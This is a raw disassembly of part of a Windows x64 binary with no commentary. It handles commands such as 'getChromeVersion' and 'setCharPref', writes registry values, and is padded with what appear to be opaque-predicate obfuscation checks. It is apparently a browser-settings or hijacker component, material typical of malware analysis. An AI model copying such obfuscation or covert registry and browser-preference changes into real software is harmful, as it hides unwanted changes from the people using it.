call fcn.14006aaf0
mov qword [rsp + 0x9e8], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006c6e0
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x860]
call fcn.140003890
mov rbx, rax
lea r8, [0x1401676d0]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x748]
call fcn.14001c2d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.1400109e0
nop
mov rcx, qword [rsp + 0x748]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c756
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x860]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c788
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1808], 0x10
jb 0x14006c7a0
mov rcx, qword [rsp + 0x17f0]
call fcn.1400d7280
mov qword [rsp + 0x1808], 0xf
mov qword [rsp + 0x1800], rdi
mov byte [rsp + 0x17f0], 0
mov rcx, qword [rsp + 0x2b0]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x1830]
call fcn.14006aaf0
mov qword [rsp + 0xee8], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006c7ea
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7f8]
call fcn.140003890
mov rbx, rax
lea r8, [0x1401676e0]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x758]
call fcn.14001c2d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.1400109e0
nop
mov rcx, qword [rsp + 0x758]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c860
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c892
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1848], 0x10
jb 0x14006c8aa
mov rcx, qword [rsp + 0x1830]
call fcn.1400d7280
mov qword [rsp + 0x1848], 0xf
mov qword [rsp + 0x1840], rdi
mov byte [rsp + 0x1830], 0
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
mov r14d, 1
cmp ecx, 2
jne 0x14006c94d
mov r8d, r14d
mov dword [rsp + 0x28c], r14d
mov ecx, r14d
mov dword [rsp + 0x294], ecx
mov edx, 0xc
mov dword [rsp + 0x20c], edx
mov dword [0x1401ddd80], edi
lea eax, [rdx - 2]
test eax, eax
js 0x14006c947
lea eax, [rcx + r8]
mov dword [rsp + 0x668], eax
mov r8d, ecx
mov dword [rsp + 0x28c], ecx
mov ecx, eax
mov dword [rsp + 0x294], eax
dec edx
mov dword [rsp + 0x20c], edx
jmp 0x14006c917
mov dword [0x1401ddd80], ecx
lea rax, [rsp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14006ccc6
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x448], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rsi, qword [rsp + 0x768]
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14006ccc6
mov dword [rsp + 0x28], 4
lea rax, [rsp + reloc.OLEAUT32.dll_OleTranslateColor]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14006ccc6
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x808], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x648]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14006ccc6
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xc0]
mov rcx, r13
call fcn.140070bc0
mov rcx, rbx
call fcn.1400d7d50
mov rcx, rsi
call fcn.1400d7d50
mov r8d, dword [0x1401ddd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x10
jne 0x14006cb46
mov dword [rsp + 0x270], edi
test r8d, r8d
je 0x14006cb46
inc edi
mov dword [rsp + 0x270], edi
mov eax, r8d
and eax, 0x80000001
jge 0x14006cad7
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14006caee
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401ddd80], eax
jmp 0x14006cafd
lea r8d, [r8*2 + 1]
mov dword [0x1401ddd80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x14006cb21
sub ecx, 2
je 0x14006cb2c
dec ecx
je 0x14006cb36
jmp 0x14006cb41
add r8d, 2
mov dword [0x1401ddd80], r8d
inc r8d
mov dword [0x1401ddd80], r8d
add r8d, 2
mov dword [0x1401ddd80], r8d
jmp 0x14006cab4
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x14006cb69
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], r15w
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x848], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cb9b
mov rdx, qword [rsp + 0x848]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cbcd
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x428], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cbff
mov rdx, qword [rsp + 0x428]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x430], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cc31
mov rdx, qword [rsp + 0x430]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x440], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cc63
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x450], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cc95
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x460], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400708d0
mov rdx, qword [rsp + 0x460]
jmp 0x1400708c7
test r12, r12
je 0x14006ccdb
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cd0d
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x480], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cd3f
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x490], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cd71
mov rdx, qword [rsp + 0x490]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cda3
mov rdx, qword [rsp + 0x4a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cdd5
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ce07
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ce39
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ce68
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006ce80
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cecb
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1a
test r12, r12
je 0x14006cf05
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cf37
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cf69
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cf98
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006cfb0
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cffb
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006d2e4
test r12, r12
je 0x1400708d0
lea rcx, [rsp + 0x540]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x200], rdi
mov rbx, qword [rsp + 0x540]
mov qword [rsp + 0x200], rbx
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0x13
jne 0x14006d14c
mov word [rsp + 0x1f40], di
xor edx, edx
mov r8d, 0x1e460
lea rcx, [rsp + 0x1f42]
call fcn.1400dc6e0
mov dword [0x1401ddd80], edi
mov r10d, edi
mov dword [rsp + 0x230], edi
cmp r10d, 0xf9
jge 0x14006d13e
mov r9d, edi
mov dword [rsp + 0x1ac], edi
nop dword [rax + rax]
cmp r9d, 0xf9
jge 0x14006d131
test r10d, r10d
je 0x14006d124
test r9d, r9d
je 0x14006d124
movsxd rcx, r10d
imul rcx, rcx, 0xf9
movsxd rax, r9d
add rcx, rax
lea r8, [rsp + 0x1f40]
lea r8, [r8 + rcx*2]
movsx edx, word [rsp + rcx*2 + 0x1d4e]
movsx ecx, word [r8 - 2]
inc ecx
add ecx, edx
mov word [r8], cx
inc r9d
mov dword [rsp + 0x1ac], r9d
jmp 0x14006d0e0
inc r10d
mov dword [rsp + 0x230], r10d
jmp 0x14006d0c5
movsx eax, word [rsp + 0x203a0]
mov dword [0x1401ddd80], eax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
mov qword [rsp + 0x200], rdx
call fcn.14006abb0
test al, al
jne 0x14006d1b4
mov ecx, dword [0x1401ddd80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x7b
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d68e8
mov qword [rsp + 0x9f8], rax
mov rcx, rax
call fcn.1400d834c
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
mov qword [rsp + 0xd28], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x3d0], rbx
mov dword [rsp + 0x108], edi
cmp edi, 8
jge 0x14006d287
lea rcx, [rsp + 0x168]
call fcn.140002570
nop
movsxd rax, edi
movzx r8d, byte [rsp + rax + 0x200]
lea rdx, str._.2x
lea rcx, [rsp + 0x168]
call fcn.140012d30
mov rdx, qword [rsp + 0x168]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x458], r8d
lea rcx, [rsp + 0x3d0]
call fcn.1400114a0
nop
mov rcx, qword [rsp + 0x168]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006d26a
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov edi, dword [rsp + 0x108]
inc edi
mov dword [rsp + 0x108], edi
mov rbx, qword [rsp + 0x3d0]
jmp 0x14006d1e0
mov edx, dword [rbx - 0x10]
mov dword [rsp + 0x678], edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa08], rax
test rax, rax
jne 0x14006d2ac
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x1400708d0
mov rdx, qword [rsp + 0x560]
jmp 0x1400708c7
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006d3ed
mov eax, dword [0x1401ddd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x12
jne 0x14006d32e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, [rsp + 0x2c0]
mov rcx, qword [r13 + 0x40]
call fcn.14006af60
nop
test r12, r12
je 0x14006d37e
mov rcx, qword [rsp + 0x2c0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x468], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xfa8], rax
test rax, rax
jne 0x14006d36f
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov r8d, dword [0x1401ddd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 4
jne 0x14006d3bc
mov r14d, 1
test r8d, r8d
cmove r8d, r14d
mov dword [0x1401ddd80], r8d
mov rcx, qword [rsp + 0x2c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400708d0
mov rdx, qword [rsp + 0x570]
jmp 0x1400708c7
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006d487
lea rdx, [rsp + 0x360]
mov rcx, qword [r13 + 0x40]
call fcn.14006aff0
nop
test r12, r12
je 0x14006d456
mov rcx, qword [rsp + 0x360]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x788], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa18], rax
test rax, rax
jne 0x14006d447
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400708d0
mov rdx, qword [rsp + 0x580]
jmp 0x1400708c7
lea rdx, [0x1401677a8]
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
je 0x14007028e
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
je 0x14007028e
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006db1e
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x11
jne 0x14006d51a
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401ddd80]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401ddd80], ecx
lea rdx, [0x140167838]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd38], rax
lea rdx, [0x140167840]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa28], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x1401678b4]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xf08], rax
lea rdx, [0x1401678c0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x888], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x1401678cc]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd48], rax
lea rdx, [0x1401678d4]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa48], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x218], rdi
lea rdx, [0x140167894]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xfb8], rax
lea rdx, [0x14016789c]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006d934
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xe
jne 0x14006d658
mov ecx, r8d
test r8d, r8d
je 0x14006d64e
dec ecx
je 0x14006d646
inc r8d
mov dword [0x1401ddd80], r8d
jmp 0x14006d658
mov dword [0x1401ddd80], edi
jmp 0x14006d658
mov dword [0x1401ddd80], 2
lea rdx, [0x1401678a4]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xa58], rax
lea rdx, [0x1401678ac]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xd58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa68], rdx
lea rcx, [rsp + 0x2d0]
call fcn.140003890
nop
mov eax, dword [0x1401ddd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 5
jne 0x14006d729
mov r14d, 1
mov dword [rsp + 0x1b8], r14d
mov ecx, r14d
mov dword [rsp + 0x298], ecx
mov edx, 0xca
mov dword [rsp + 0x1c8], edx
mov dword [0x1401ddd80], edi
lea eax, [rdx - 2]
test eax, eax
js 0x14006d723
lea eax, [rcx + r14]
mov dword [rsp + 0x478], eax
mov r14d, ecx
mov dword [rsp + 0x1b8], ecx
mov ecx, eax
mov dword [rsp + 0x298], eax
dec edx
mov dword [rsp + 0x1c8], edx
jmp 0x14006d6f3
mov dword [0x1401ddd80], ecx
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x218], rbx
lea rdx, [0x140167908]
lea rcx, [rsp + 0x2d0]
call fcn.140003cf0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x218], rbx
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006d78f
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x218]
test rbx, rbx
je 0x14006d934
lea rdx, [0x140167960]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xf28], rax
lea rdx, [0x140167968]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa78], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd68], rdx
lea rcx, [rsp + 0x370]
call fcn.140003890
nop
lea rdx, [0x140167970]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xa88], rax
lea rdx, [0x140167978]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xfc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa98], rdx
lea rcx, [rsp + 0x2e0]
call fcn.140003890
nop
lea rdx, [0x140167930]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd78], rax
lea rdx, [0x140167938]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xaa8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf48], rdx
lea rcx, [rsp + 0x3b0]
call fcn.140003890
nop
mov r9, rbx
lea r8, [rsp + 0x370]
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x3b0]
call fcn.1400506e0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x3b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006d8d1
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006d903
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006daf6
mov rdx, qword [rsp + 0x5c0]
jmp 0x14006daed
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0xab8], rax
lea rdx, [0x140167920]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd88], rax
lea rdx, [0x140167928]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xac8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfd8], rdx
lea rcx, [rsp + 0x300]
call fcn.140003890
nop
lea rdx, [0x1401678dc]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xad8], rax
lea rdx, [0x1401678e4]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xd98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xae8], rdx
lea rcx, [rsp + 0x3d8]
call fcn.140003890
nop
lea rdx, [0x1401678ec]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xfe8], rax
lea rdx, [0x1401678f8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xaf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xda8], rdx
lea rcx, [rsp + 0x2f0]
call fcn.140003890
nop
lea rdx, [0x14016536c]
lea rcx, [rsp + 0x5d0]
call fcn.1400025b0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d8d48]
lea r8, [rsp + 0x300]
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x2f0]
call fcn.1400501a0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x2f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006da93
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
